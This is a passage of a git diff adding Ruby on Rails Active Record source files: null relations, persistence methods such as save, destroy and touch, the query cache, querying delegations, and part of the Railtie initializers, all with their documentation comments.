+        yield
+      ensure
+        klasses.pop
+      end
+
+      def applied_to?(klass) #:nodoc:
+        klasses.any? { |k| k >= klass }
+      end
+
+      private
+        def klasses
+          Thread.current[:no_touching_classes] ||= []
+        end
+    end
+
+    def no_touching?
+      NoTouching.applied_to?(self.class)
+    end
+
+    def touch_later(*) # :nodoc:
+      super unless no_touching?
+    end
+
+    def touch(*) # :nodoc:
+      super unless no_touching?
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/null_relation.rb b/activerecord/lib/active_record/null_relation.rb
new file mode 100644
index 0000000000..cf0de0fdeb
--- /dev/null
+++ b/activerecord/lib/active_record/null_relation.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module NullRelation # :nodoc:
+    def pluck(*column_names)
+      []
+    end
+
+    def delete_all
+      0
+    end
+
+    def update_all(_updates)
+      0
+    end
+
+    def delete(_id_or_array)
+      0
+    end
+
+    def empty?
+      true
+    end
+
+    def none?
+      true
+    end
+
+    def any?
+      false
+    end
+
+    def one?
+      false
+    end
+
+    def many?
+      false
+    end
+
+    def to_sql
+      ""
+    end
+
+    def calculate(operation, _column_name)
+      case operation
+      when :count, :sum
+        group_values.any? ? Hash.new : 0
+      when :average, :minimum, :maximum
+        group_values.any? ? Hash.new : nil
+      end
+    end
+
+    def exists?(_conditions = :none)
+      false
+    end
+
+    def or(other)
+      other.spawn
+    end
+
+    private
+
+      def exec_queries
+        @records = [].freeze
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb
new file mode 100644
index 0000000000..1297e0cde7
--- /dev/null
+++ b/activerecord/lib/active_record/persistence.rb
@@ -0,0 +1,623 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record \Persistence
+  module Persistence
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      # Creates an object (or multiple objects) and saves it to the database, if validations pass.
+      # The resulting object is returned whether the object was saved successfully to the database or not.
+      #
+      # The +attributes+ parameter can be either a Hash or an Array of Hashes. These Hashes describe the
+      # attributes on the objects that are to be created.
+      #
+      # ==== Examples
+      #   # Create a single new object
+      #   User.create(first_name: 'Jamie')
+      #
+      #   # Create an Array of new objects
+      #   User.create([{ first_name: 'Jamie' }, { first_name: 'Jeremy' }])
+      #
+      #   # Create a single object and pass it into a block to set other attributes.
+      #   User.create(first_name: 'Jamie') do |u|
+      #     u.is_admin = false
+      #   end
+      #
+      #   # Creating an Array of new objects using a block, where the block is executed for each object:
+      #   User.create([{ first_name: 'Jamie' }, { first_name: 'Jeremy' }]) do |u|
+      #     u.is_admin = false
+      #   end
+      def create(attributes = nil, &block)
+        if attributes.is_a?(Array)
+          attributes.collect { |attr| create(attr, &block) }
+        else
+          object = new(attributes, &block)
+          object.save
+          object
+        end
+      end
+
+      # Creates an object (or multiple objects) and saves it to the database,
+      # if validations pass. Raises a RecordInvalid error if validations fail,
+      # unlike Base#create.
+      #
+      # The +attributes+ parameter can be either a Hash or an Array of Hashes.
+      # These describe which attributes to be created on the object, or
+      # multiple objects when given an Array of Hashes.
+      def create!(attributes = nil, &block)
+        if attributes.is_a?(Array)
+          attributes.collect { |attr| create!(attr, &block) }
+        else
+          object = new(attributes, &block)
+          object.save!
+          object
+        end
+      end
+
+      # Given an attributes hash, +instantiate+ returns a new instance of
+      # the appropriate class. Accepts only keys as strings.
+      #
+      # For example, +Post.all+ may return Comments, Messages, and Emails
+      # by storing the record's subclass in a +type+ attribute. By calling
+      # +instantiate+ instead of +new+, finder methods ensure they get new
+      # instances of the appropriate class for each record.
+      #
+      # See <tt>ActiveRecord::Inheritance#discriminate_class_for_record</tt> to see
+      # how this "single-table" inheritance mapping is implemented.
+      def instantiate(attributes, column_types = {}, &block)
+        klass = discriminate_class_for_record(attributes)
+        attributes = klass.attributes_builder.build_from_database(attributes, column_types)
+        klass.allocate.init_with("attributes" => attributes, "new_record" => false, &block)
+      end
+
+      private
+        # Called by +instantiate+ to decide which class to use for a new
+        # record instance.
+        #
+        # See +ActiveRecord::Inheritance#discriminate_class_for_record+ for
+        # the single-table inheritance discriminator.
+        def discriminate_class_for_record(record)
+          self
+        end
+    end
+
+    # Returns true if this object hasn't been saved yet -- that is, a record
+    # for the object doesn't exist in the database yet; otherwise, returns false.
+    def new_record?
+      sync_with_transaction_state
+      @new_record
+    end
+
+    # Returns true if this object has been destroyed, otherwise returns false.
+    def destroyed?
+      sync_with_transaction_state
+      @destroyed
+    end
+
+    # Returns true if the record is persisted, i.e. it's not a new record and it was
+    # not destroyed, otherwise returns false.
+    def persisted?
+      sync_with_transaction_state
+      !(@new_record || @destroyed)
+    end
+
+    ##
+    # :call-seq:
+    #   save(*args)
+    #
+    # Saves the model.
+    #
+    # If the model is new, a record gets created in the database, otherwise
+    # the existing record gets updated.
+    #
+    # By default, save always runs validations. If any of them fail the action
+    # is cancelled and #save returns +false+, and the record won't be saved. However, if you supply
+    # <tt>validate: false</tt>, validations are bypassed altogether. See
+    # ActiveRecord::Validations for more information.
+    #
+    # By default, #save also sets the +updated_at+/+updated_on+ attributes to
+    # the current time. However, if you supply <tt>touch: false</tt>, these
+    # timestamps will not be updated.
+    #
+    # There's a series of callbacks associated with #save. If any of the
+    # <tt>before_*</tt> callbacks throws +:abort+ the action is cancelled and
+    # #save returns +false+. See ActiveRecord::Callbacks for further
+    # details.
+    #
+    # Attributes marked as readonly are silently ignored if the record is
+    # being updated.
+    def save(*args, &block)
+      create_or_update(*args, &block)
+    rescue ActiveRecord::RecordInvalid
+      false
+    end
+
+    ##
+    # :call-seq:
+    #   save!(*args)
+    #
+    # Saves the model.
+    #
+    # If the model is new, a record gets created in the database, otherwise
+    # the existing record gets updated.
+    #
+    # By default, #save! always runs validations. If any of them fail
+    # ActiveRecord::RecordInvalid gets raised, and the record won't be saved. However, if you supply
+    # <tt>validate: false</tt>, validations are bypassed altogether. See
+    # ActiveRecord::Validations for more information.
+    #
+    # By default, #save! also sets the +updated_at+/+updated_on+ attributes to
+    # the current time. However, if you supply <tt>touch: false</tt>, these
+    # timestamps will not be updated.
+    #
+    # There's a series of callbacks associated with #save!. If any of
+    # the <tt>before_*</tt> callbacks throws +:abort+ the action is cancelled
+    # and #save! raises ActiveRecord::RecordNotSaved. See
+    # ActiveRecord::Callbacks for further details.
+    #
+    # Attributes marked as readonly are silently ignored if the record is
+    # being updated.
+    #
+    # Unless an error is raised, returns true.
+    def save!(*args, &block)
+      create_or_update(*args, &block) || raise(RecordNotSaved.new("Failed to save the record", self))
+    end
+
+    # Deletes the record in the database and freezes this instance to
+    # reflect that no changes should be made (since they can't be
+    # persisted). Returns the frozen instance.
+    #
+    # The row is simply removed with an SQL +DELETE+ statement on the
+    # record's primary key, and no callbacks are executed.
+    #
+    # Note that this will also delete records marked as {#readonly?}[rdoc-ref:Core#readonly?].
+    #
+    # To enforce the object's +before_destroy+ and +after_destroy+
+    # callbacks or any <tt>:dependent</tt> association
+    # options, use <tt>#destroy</tt>.
+    def delete
+      _relation_for_itself.delete_all if persisted?
+      @destroyed = true
+      freeze
+    end
+
+    # Deletes the record in the database and freezes this instance to reflect
+    # that no changes should be made (since they can't be persisted).
+    #
+    # There's a series of callbacks associated with #destroy. If the
+    # <tt>before_destroy</tt> callback throws +:abort+ the action is cancelled
+    # and #destroy returns +false+.
+    # See ActiveRecord::Callbacks for further details.
+    def destroy
+      _raise_readonly_record_error if readonly?
+      destroy_associations
+      self.class.connection.add_transaction_record(self)
+      @_trigger_destroy_callback = if persisted?
+        destroy_row > 0
+      else
+        true
+      end
+      @destroyed = true
+      freeze
+    end
+
+    # Deletes the record in the database and freezes this instance to reflect
+    # that no changes should be made (since they can't be persisted).
+    #
+    # There's a series of callbacks associated with #destroy!. If the
+    # <tt>before_destroy</tt> callback throws +:abort+ the action is cancelled
+    # and #destroy! raises ActiveRecord::RecordNotDestroyed.
+    # See ActiveRecord::Callbacks for further details.
+    def destroy!
+      destroy || _raise_record_not_destroyed
+    end
+
+    # Returns an instance of the specified +klass+ with the attributes of the
+    # current record. This is mostly useful in relation to single-table
+    # inheritance structures where you want a subclass to appear as the
+    # superclass. This can be used along with record identification in
+    # Action Pack to allow, say, <tt>Client < Company</tt> to do something
+    # like render <tt>partial: @client.becomes(Company)</tt> to render that
+    # instance using the companies/company partial instead of clients/client.
+    #
+    # Note: The new instance will share a link to the same attributes as the original class.
+    # Therefore the sti column value will still be the same.
+    # Any change to the attributes on either instance will affect both instances.
+    # If you want to change the sti column as well, use #becomes! instead.
+    def becomes(klass)
+      became = klass.new
+      became.instance_variable_set("@attributes", @attributes)
+      became.instance_variable_set("@mutation_tracker", @mutation_tracker) if defined?(@mutation_tracker)
+      became.instance_variable_set("@changed_attributes", attributes_changed_by_setter)
+      became.instance_variable_set("@new_record", new_record?)
+      became.instance_variable_set("@destroyed", destroyed?)
+      became.errors.copy!(errors)
+      became
+    end
+
+    # Wrapper around #becomes that also changes the instance's sti column value.
+    # This is especially useful if you want to persist the changed class in your
+    # database.
+    #
+    # Note: The old instance's sti column value will be changed too, as both objects
+    # share the same set of attributes.
+    def becomes!(klass)
+      became = becomes(klass)
+      sti_type = nil
+      if !klass.descends_from_active_record?
+        sti_type = klass.sti_name
+      end
+      became.public_send("#{klass.inheritance_column}=", sti_type)
+      became
+    end
+
+    # Updates a single attribute and saves the record.
+    # This is especially useful for boolean flags on existing records. Also note that
+    #
+    # * Validation is skipped.
+    # * \Callbacks are invoked.
+    # * updated_at/updated_on column is updated if that column is available.
+    # * Updates all the attributes that are dirty in this object.
+    #
+    # This method raises an ActiveRecord::ActiveRecordError  if the
+    # attribute is marked as readonly.
+    #
+    # Also see #update_column.
+    def update_attribute(name, value)
+      name = name.to_s
+      verify_readonly_attribute(name)
+      public_send("#{name}=", value)
+
+      if has_changes_to_save?
+        save(validate: false)
+      else
+        true
+      end
+    end
+
+    # Updates the attributes of the model from the passed-in hash and saves the
+    # record, all wrapped in a transaction. If the object is invalid, the saving
+    # will fail and false will be returned.
+    def update(attributes)
+      # The following transaction covers any possible database side-effects of the
+      # attributes assignment. For example, setting the IDs of a child collection.
+      with_transaction_returning_status do
+        assign_attributes(attributes)
+        save
+      end
+    end
+
+    alias update_attributes update
+
+    # Updates its receiver just like #update but calls #save! instead
+    # of +save+, so an exception is raised if the record is invalid and saving will fail.
+    def update!(attributes)
+      # The following transaction covers any possible database side-effects of the
+      # attributes assignment. For example, setting the IDs of a child collection.
+      with_transaction_returning_status do
+        assign_attributes(attributes)
+        save!
+      end
+    end
+
+    alias update_attributes! update!
+
+    # Equivalent to <code>update_columns(name => value)</code>.
+    def update_column(name, value)
+      update_columns(name => value)
+    end
+
+    # Updates the attributes directly in the database issuing an UPDATE SQL
+    # statement and sets them in the receiver:
+    #
+    #   user.update_columns(last_request_at: Time.current)
+    #
+    # This is the fastest way to update attributes because it goes straight to
+    # the database, but take into account that in consequence the regular update
+    # procedures are totally bypassed. In particular:
+    #
+    # * \Validations are skipped.
+    # * \Callbacks are skipped.
+    # * +updated_at+/+updated_on+ are not updated.
+    # * However, attributes are serialized with the same rules as ActiveRecord::Relation#update_all
+    #
+    # This method raises an ActiveRecord::ActiveRecordError when called on new
+    # objects, or when at least one of the attributes is marked as readonly.
+    def update_columns(attributes)
+      raise ActiveRecordError, "cannot update a new record" if new_record?
+      raise ActiveRecordError, "cannot update a destroyed record" if destroyed?
+
+      attributes.each_key do |key|
+        verify_readonly_attribute(key.to_s)
+      end
+
+      updated_count = _relation_for_itself.update_all(attributes)
+
+      attributes.each do |k, v|
+        write_attribute_without_type_cast(k, v)
+      end
+
+      updated_count == 1
+    end
+
+    # Initializes +attribute+ to zero if +nil+ and adds the value passed as +by+ (default is 1).
+    # The increment is performed directly on the underlying attribute, no setter is invoked.
+    # Only makes sense for number-based attributes. Returns +self+.
+    def increment(attribute, by = 1)
+      self[attribute] ||= 0
+      self[attribute] += by
+      self
+    end
+
+    # Wrapper around #increment that writes the update to the database.
+    # Only +attribute+ is updated; the record itself is not saved.
+    # This means that any other modified attributes will still be dirty.
+    # Validations and callbacks are skipped. Supports the `touch` option from
+    # +update_counters+, see that for more.
+    # Returns +self+.
+    def increment!(attribute, by = 1, touch: nil)
+      increment(attribute, by)
+      change = public_send(attribute) - (attribute_in_database(attribute.to_s) || 0)
+      self.class.update_counters(id, attribute => change, touch: touch)
+      clear_attribute_change(attribute) # eww
+      self
+    end
+
+    # Initializes +attribute+ to zero if +nil+ and subtracts the value passed as +by+ (default is 1).
+    # The decrement is performed directly on the underlying attribute, no setter is invoked.
+    # Only makes sense for number-based attributes. Returns +self+.
+    def decrement(attribute, by = 1)
+      increment(attribute, -by)
+    end
+
+    # Wrapper around #decrement that writes the update to the database.
+    # Only +attribute+ is updated; the record itself is not saved.
+    # This means that any other modified attributes will still be dirty.
+    # Validations and callbacks are skipped. Supports the `touch` option from
+    # +update_counters+, see that for more.
+    # Returns +self+.
+    def decrement!(attribute, by = 1, touch: nil)
+      increment!(attribute, -by, touch: touch)
+    end
+
+    # Assigns to +attribute+ the boolean opposite of <tt>attribute?</tt>. So
+    # if the predicate returns +true+ the attribute will become +false+. This
+    # method toggles directly the underlying value without calling any setter.
+    # Returns +self+.
+    #
+    # Example:
+    #
+    #   user = User.first
+    #   user.banned? # => false
+    #   user.toggle(:banned)
+    #   user.banned? # => true
+    #
+    def toggle(attribute)
+      self[attribute] = !public_send("#{attribute}?")
+      self
+    end
+
+    # Wrapper around #toggle that saves the record. This method differs from
+    # its non-bang version in the sense that it passes through the attribute setter.
+    # Saving is not subjected to validation checks. Returns +true+ if the
+    # record could be saved.
+    def toggle!(attribute)
+      toggle(attribute).update_attribute(attribute, self[attribute])
+    end
+
+    # Reloads the record from the database.
+    #
+    # This method finds the record by its primary key (which could be assigned
+    # manually) and modifies the receiver in-place:
+    #
+    #   account = Account.new
+    #   # => #<Account id: nil, email: nil>
+    #   account.id = 1
+    #   account.reload
+    #   # Account Load (1.2ms)  SELECT "accounts".* FROM "accounts" WHERE "accounts"."id" = $1 LIMIT 1  [["id", 1]]
+    #   # => #<Account id: 1, email: 'account@example.com'>
+    #
+    # Attributes are reloaded from the database, and caches busted, in
+    # particular the associations cache and the QueryCache.
+    #
+    # If the record no longer exists in the database ActiveRecord::RecordNotFound
+    # is raised. Otherwise, in addition to the in-place modification the method
+    # returns +self+ for convenience.
+    #
+    # The optional <tt>:lock</tt> flag option allows you to lock the reloaded record:
+    #
+    #   reload(lock: true) # reload with pessimistic locking
+    #
+    # Reloading is commonly used in test suites to test something is actually
+    # written to the database, or when some action modifies the corresponding
+    # row in the database but not the object in memory:
+    #
+    #   assert account.deposit!(25)
+    #   assert_equal 25, account.credit        # check it is updated in memory
+    #   assert_equal 25, account.reload.credit # check it is also persisted
+    #
+    # Another common use case is optimistic locking handling:
+    #
+    #   def with_optimistic_retry
+    #     begin
+    #       yield
+    #     rescue ActiveRecord::StaleObjectError
+    #       begin
+    #         # Reload lock_version in particular.
+    #         reload
+    #       rescue ActiveRecord::RecordNotFound
+    #         # If the record is gone there is nothing to do.
+    #       else
+    #         retry
+    #       end
+    #     end
+    #   end
+    #
+    def reload(options = nil)
+      self.class.connection.clear_query_cache
+
+      fresh_object =
+        if options && options[:lock]
+          self.class.unscoped { self.class.lock(options[:lock]).find(id) }
+        else
+          self.class.unscoped { self.class.find(id) }
+        end
+
+      @attributes = fresh_object.instance_variable_get("@attributes")
+      @new_record = false
+      self
+    end
+
+    # Saves the record with the updated_at/on attributes set to the current time
+    # or the time specified.
+    # Please note that no validation is performed and only the +after_touch+,
+    # +after_commit+ and +after_rollback+ callbacks are executed.
+    #
+    # This method can be passed attribute names and an optional time argument.
+    # If attribute names are passed, they are updated along with updated_at/on
+    # attributes. If no time argument is passed, the current time is used as default.
+    #
+    #   product.touch                         # updates updated_at/on with current time
+    #   product.touch(time: Time.new(2015, 2, 16, 0, 0, 0)) # updates updated_at/on with specified time
+    #   product.touch(:designed_at)           # updates the designed_at attribute and updated_at/on
+    #   product.touch(:started_at, :ended_at) # updates started_at, ended_at and updated_at/on attributes
+    #
+    # If used along with {belongs_to}[rdoc-ref:Associations::ClassMethods#belongs_to]
+    # then +touch+ will invoke +touch+ method on associated object.
+    #
+    #   class Brake < ActiveRecord::Base
+    #     belongs_to :car, touch: true
+    #   end
+    #
+    #   class Car < ActiveRecord::Base
+    #     belongs_to :corporation, touch: true
+    #   end
+    #
+    #   # triggers @brake.car.touch and @brake.car.corporation.touch
+    #   @brake.touch
+    #
+    # Note that +touch+ must be used on a persisted object, or else an
+    # ActiveRecordError will be thrown. For example:
+    #
+    #   ball = Ball.new
+    #   ball.touch(:updated_at)   # => raises ActiveRecordError
+    #
+    def touch(*names, time: nil)
+      unless persisted?
+        raise ActiveRecordError, <<-MSG.squish
+          cannot touch on a new or destroyed record object. Consider using
+          persisted?, new_record?, or destroyed? before touching
+        MSG
+      end
+
+      time ||= current_time_from_proper_timezone
+      attributes = timestamp_attributes_for_update_in_model
+      attributes.concat(names)
+
+      unless attributes.empty?
+        changes = {}
+
+        attributes.each do |column|
+          column = column.to_s
+          changes[column] = write_attribute(column, time)
+        end
+
+        scope = _relation_for_itself
+
+        if locking_enabled?
+          locking_column = self.class.locking_column
+          scope = scope.where(locking_column => read_attribute_before_type_cast(locking_column))
+          changes[locking_column] = increment_lock
+        end
+
+        clear_attribute_changes(changes.keys)
+        result = scope.update_all(changes) == 1
+
+        if !result && locking_enabled?
+          raise ActiveRecord::StaleObjectError.new(self, "touch")
+        end
+
+        @_trigger_update_callback = result
+        result
+      else
+        true
+      end
+    end
+
+  private
+
+    # A hook to be overridden by association modules.
+    def destroy_associations
+    end
+
+    def destroy_row
+      relation_for_destroy.delete_all
+    end
+
+    def relation_for_destroy
+      _relation_for_itself
+    end
+
+    def _relation_for_itself
+      self.class.unscoped.where(self.class.primary_key => id)
+    end
+
+    def create_or_update(*args, &block)
+      _raise_readonly_record_error if readonly?
+      result = new_record? ? _create_record(&block) : _update_record(*args, &block)
+      result != false
+    end
+
+    # Updates the associated record with values matching those of the instance attributes.
+    # Returns the number of affected rows.
+    def _update_record(attribute_names = self.attribute_names)
+      attributes_values = arel_attributes_with_values_for_update(attribute_names)
+      if attributes_values.empty?
+        rows_affected = 0
+        @_trigger_update_callback = true
+      else
+        rows_affected = self.class.unscoped._update_record attributes_values, id, id_in_database
+        @_trigger_update_callback = rows_affected > 0
+      end
+
+      yield(self) if block_given?
+
+      rows_affected
+    end
+
+    # Creates a record with values matching those of the instance attributes
+    # and returns its id.
+    def _create_record(attribute_names = self.attribute_names)
+      attributes_values = arel_attributes_with_values_for_create(attribute_names)
+
+      new_id = self.class.unscoped.insert attributes_values
+      self.id ||= new_id if self.class.primary_key
+
+      @new_record = false
+
+      yield(self) if block_given?
+
+      id
+    end
+
+    def verify_readonly_attribute(name)
+      raise ActiveRecordError, "#{name} is marked as readonly" if self.class.readonly_attributes.include?(name)
+    end
+
+    def _raise_record_not_destroyed
+      @_association_destroy_exception ||= nil
+      raise @_association_destroy_exception || RecordNotDestroyed.new("Failed to destroy the record", self)
+    ensure
+      @_association_destroy_exception = nil
+    end
+
+    def belongs_to_touch_method
+      :touch
+    end
+
+    def _raise_readonly_record_error
+      raise ReadOnlyRecord, "#{self.class} is marked as readonly"
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/query_cache.rb b/activerecord/lib/active_record/query_cache.rb
new file mode 100644
index 0000000000..3d5babb8b7
--- /dev/null
+++ b/activerecord/lib/active_record/query_cache.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record Query Cache
+  class QueryCache
+    module ClassMethods
+      # Enable the query cache within the block if Active Record is configured.
+      # If it's not, it will execute the given block.
+      def cache(&block)
+        if configurations.empty?
+          yield
+        else
+          connection.cache(&block)
+        end
+      end
+
+      # Disable the query cache within the block if Active Record is configured.
+      # If it's not, it will execute the given block.
+      def uncached(&block)
+        if configurations.empty?
+          yield
+        else
+          connection.uncached(&block)
+        end
+      end
+    end
+
+    def self.run
+      caching_pool = ActiveRecord::Base.connection_pool
+      caching_was_enabled = caching_pool.query_cache_enabled
+
+      caching_pool.enable_query_cache!
+
+      [caching_pool, caching_was_enabled]
+    end
+
+    def self.complete((caching_pool, caching_was_enabled))
+      caching_pool.disable_query_cache! unless caching_was_enabled
+
+      ActiveRecord::Base.connection_handler.connection_pool_list.each do |pool|
+        pool.release_connection if pool.active_connection? && !pool.connection.transaction_open?
+      end
+    end
+
+    def self.install_executor_hooks(executor = ActiveSupport::Executor)
+      executor.register_hook(self)
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/querying.rb b/activerecord/lib/active_record/querying.rb
new file mode 100644
index 0000000000..f780538319
--- /dev/null
+++ b/activerecord/lib/active_record/querying.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Querying
+    delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, :none?, :one?, to: :all
+    delegate :second, :second!, :third, :third!, :fourth, :fourth!, :fifth, :fifth!, :forty_two, :forty_two!, :third_to_last, :third_to_last!, :second_to_last, :second_to_last!, to: :all
+    delegate :first_or_create, :first_or_create!, :first_or_initialize, to: :all
+    delegate :find_or_create_by, :find_or_create_by!, :find_or_initialize_by, to: :all
+    delegate :find_by, :find_by!, to: :all
+    delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, to: :all
+    delegate :find_each, :find_in_batches, :in_batches, to: :all
+    delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins, :left_joins, :left_outer_joins, :or,
+             :where, :rewhere, :preload, :eager_load, :includes, :from, :lock, :readonly, :extending,
+             :having, :create_with, :distinct, :references, :none, :unscope, :merge, to: :all
+    delegate :count, :average, :minimum, :maximum, :sum, :calculate, to: :all
+    delegate :pluck, :ids, to: :all
+
+    # Executes a custom SQL query against your database and returns all the results. The results will
+    # be returned as an array with columns requested encapsulated as attributes of the model you call
+    # this method from. If you call <tt>Product.find_by_sql</tt> then the results will be returned in
+    # a +Product+ object with the attributes you specified in the SQL query.
+    #
+    # If you call a complicated SQL query which spans multiple tables the columns specified by the
+    # SELECT will be attributes of the model, whether or not they are columns of the corresponding
+    # table.
+    #
+    # The +sql+ parameter is a full SQL query as a string. It will be called as is, there will be
+    # no database agnostic conversions performed. This should be a last resort because using, for example,
+    # MySQL specific terms will lock you to using that particular database engine or require you to
+    # change your call if you switch engines.
+    #
+    #   # A simple SQL query spanning multiple tables
+    #   Post.find_by_sql "SELECT p.title, c.author FROM posts p, comments c WHERE p.id = c.post_id"
+    #   # => [#<Post:0x36bff9c @attributes={"title"=>"Ruby Meetup", "first_name"=>"Quentin"}>, ...]
+    #
+    # You can use the same string replacement techniques as you can with <tt>ActiveRecord::QueryMethods#where</tt>:
+    #
+    #   Post.find_by_sql ["SELECT title FROM posts WHERE author = ? AND created > ?", author_id, start_date]
+    #   Post.find_by_sql ["SELECT body FROM comments WHERE author = :user_id OR approved_by = :user_id", { :user_id => user_id }]
+    def find_by_sql(sql, binds = [], preparable: nil, &block)
+      result_set = connection.select_all(sanitize_sql(sql), "#{name} Load", binds, preparable: preparable)
+      column_types = result_set.column_types.dup
+      columns_hash.each_key { |k| column_types.delete k }
+      message_bus = ActiveSupport::Notifications.instrumenter
+
+      payload = {
+        record_count: result_set.length,
+        class_name: name
+      }
+
+      message_bus.instrument("instantiation.active_record", payload) do
+        result_set.map { |record| instantiate(record, column_types, &block) }
+      end
+    end
+
+    # Returns the result of an SQL statement that should only include a COUNT(*) in the SELECT part.
+    # The use of this method should be restricted to complicated SQL queries that can't be executed
+    # using the ActiveRecord::Calculations class methods. Look into those before using this.
+    #
+    #   Product.count_by_sql "SELECT COUNT(*) FROM sales s, customers c WHERE s.customer_id = c.id"
+    #   # => 12
+    #
+    # ==== Parameters
+    #
+    # * +sql+ - An SQL statement which should return a count query from the database, see the example above.
+    def count_by_sql(sql)
+      connection.select_value(sanitize_sql(sql), "#{name} Count").to_i
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/railtie.rb b/activerecord/lib/active_record/railtie.rb
new file mode 100644
index 0000000000..ead42d64ec
--- /dev/null
+++ b/activerecord/lib/active_record/railtie.rb
@@ -0,0 +1,214 @@
+# frozen_string_literal: true
+
+require "active_record"
+require "rails"
+require "active_model/railtie"
+
+# For now, action_controller must always be present with
+# Rails, so let's make sure that it gets required before
+# here. This is needed for correctly setting up the middleware.
+# In the future, this might become an optional require.
+require "action_controller/railtie"
+
+module ActiveRecord
+  # = Active Record Railtie
+  class Railtie < Rails::Railtie # :nodoc:
+    config.active_record = ActiveSupport::OrderedOptions.new
+
+    config.app_generators.orm :active_record, migration: true,
+                                              timestamps: true
+
+    config.action_dispatch.rescue_responses.merge!(
+      "ActiveRecord::RecordNotFound"   => :not_found,
+      "ActiveRecord::StaleObjectError" => :conflict,
+      "ActiveRecord::RecordInvalid"    => :unprocessable_entity,
+      "ActiveRecord::RecordNotSaved"   => :unprocessable_entity
+    )
+
+    config.active_record.use_schema_cache_dump = true
+    config.active_record.maintain_test_schema = true
+
+    config.active_record.sqlite3 = ActiveSupport::OrderedOptions.new
+    config.active_record.sqlite3.represent_boolean_as_integer = nil
+
+    config.eager_load_namespaces << ActiveRecord
+
+    rake_tasks do
+      namespace :db do
+        task :load_config do
+          ActiveRecord::Tasks::DatabaseTasks.database_configuration = Rails.application.config.database_configuration
+
+          if defined?(ENGINE_ROOT) && engine = Rails::Engine.find(ENGINE_ROOT)
+            if engine.paths["db/migrate"].existent
+              ActiveRecord::Tasks::DatabaseTasks.migrations_paths += engine.paths["db/migrate"].to_a
+            end
+          end
+        end
+      end
+
+      load "active_record/railties/databases.rake"
+    end
+
+    # When loading console, force ActiveRecord::Base to be loaded
+    # to avoid cross references when loading a constant for the
+    # first time. Also, make it output to STDERR.
+    console do |app|
+      require_relative "railties/console_sandbox" if app.sandbox?
+      require_relative "base"
+      unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDERR, STDOUT)
+        console = ActiveSupport::Logger.new(STDERR)
+        Rails.logger.extend ActiveSupport::Logger.broadcast console
+      end
+    end
+
+    runner do
+      require_relative "base"
+    end
+
+    initializer "active_record.initialize_timezone" do
+      ActiveSupport.on_load(:active_record) do
+        self.time_zone_aware_attributes = true
+        self.default_timezone = :utc
+      end
+    end
+
+    initializer "active_record.logger" do
+      ActiveSupport.on_load(:active_record) { self.logger ||= ::Rails.logger }
+    end
+
+    initializer "active_record.migration_error" do
+      if config.active_record.delete(:migration_error) == :page_load
+        config.app_middleware.insert_after ::ActionDispatch::Callbacks,
+          ActiveRecord::Migration::CheckPending
+      end
+    end
+
+    initializer "active_record.check_schema_cache_dump" do
+      if config.active_record.delete(:use_schema_cache_dump)
+        config.after_initialize do |app|
+          ActiveSupport.on_load(:active_record) do
+            filename = File.join(app.config.paths["db"].first, "schema_cache.yml")
+
+            if File.file?(filename)
+              cache = YAML.load(File.read(filename))
+              if cache.version == ActiveRecord::Migrator.current_version
+                connection.schema_cache = cache
+                connection_pool.schema_cache = cache.dup
+              else
+                warn "Ignoring db/schema_cache.yml because it has expired. The current schema version is #{ActiveRecord::Migrator.current_version}, but the one in the cache is #{cache.version}."
+              end
+            end
+          end
+        end
+      end
+    end
+
+    initializer "active_record.warn_on_records_fetched_greater_than" do
+      if config.active_record.warn_on_records_fetched_greater_than
+        ActiveSupport.on_load(:active_record) do
+          require_relative "relation/record_fetch_warning"
+        end
+      end
+    end
+
+    initializer "active_record.set_configs" do |app|
+      ActiveSupport.on_load(:active_record) do
+        configs = app.config.active_record.dup
+        configs.delete(:sqlite3)
+        configs.each do |k, v|
+          send "#{k}=", v
+        end
+      end
+    end
+
+    # This sets the database configuration from Configuration#database_configuration
+    # and then establishes the connection.
+    initializer "active_record.initialize_database" do
+      ActiveSupport.on_load(:active_record) do
+        self.configurations = Rails.application.config.database_configuration
+
+        begin
+          establish_connection
+        rescue ActiveRecord::NoDatabaseError
+          warn <<-end_warning
+Oops - You have a database configured, but it doesn't exist yet!
+
+Here's how to get started:
+
+  1. Configure your database in config/database.yml.
+  2. Run `bin/rails db:create` to create the database.
+  3. Run `bin/rails db:setup` to load your database schema.
+end_warning
+          raise
+        end
+      end
+    end
+
+    # Expose database runtime to controller for logging.
+    initializer "active_record.log_runtime" do
+      require_relative "railties/controller_runtime"
+      ActiveSupport.on_load(:action_controller) do
+        include ActiveRecord::Railties::ControllerRuntime
+      end
+    end
+
+    initializer "active_record.set_reloader_hooks" do
+      ActiveSupport.on_load(:active_record) do
+        ActiveSupport::Reloader.before_class_unload do
+          if ActiveRecord::Base.connected?
+            ActiveRecord::Base.clear_cache!
+            ActiveRecord::Base.clear_reloadable_connections!
+          end
+        end
+      end
+    end
+
+    initializer "active_record.set_executor_hooks" do
+      ActiveSupport.on_load(:active_record) do
+        ActiveRecord::QueryCache.install_executor_hooks
+      end
+    end
+
+    initializer "active_record.add_watchable_files" do |app|
+      path = app.paths["db"].first
+      config.watchable_files.concat ["#{path}/schema.rb", "#{path}/structure.sql"]
+    end
+
+    initializer "active_record.clear_active_connections" do
+      config.after_initialize do
+        ActiveSupport.on_load(:active_record) do
+          clear_active_connections!
+        end
+      end
+    end
+
+    initializer "active_record.check_represent_sqlite3_boolean_as_integer" do
+      config.after_initialize do
+        ActiveSupport.on_load(:active_record_sqlite3adapter) do
+          represent_boolean_as_integer = Rails.application.config.active_record.sqlite3.delete(:represent_boolean_as_integer)
+          unless represent_boolean_as_integer.nil?
+            ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer = represent_boolean_as_integer
+          end
+
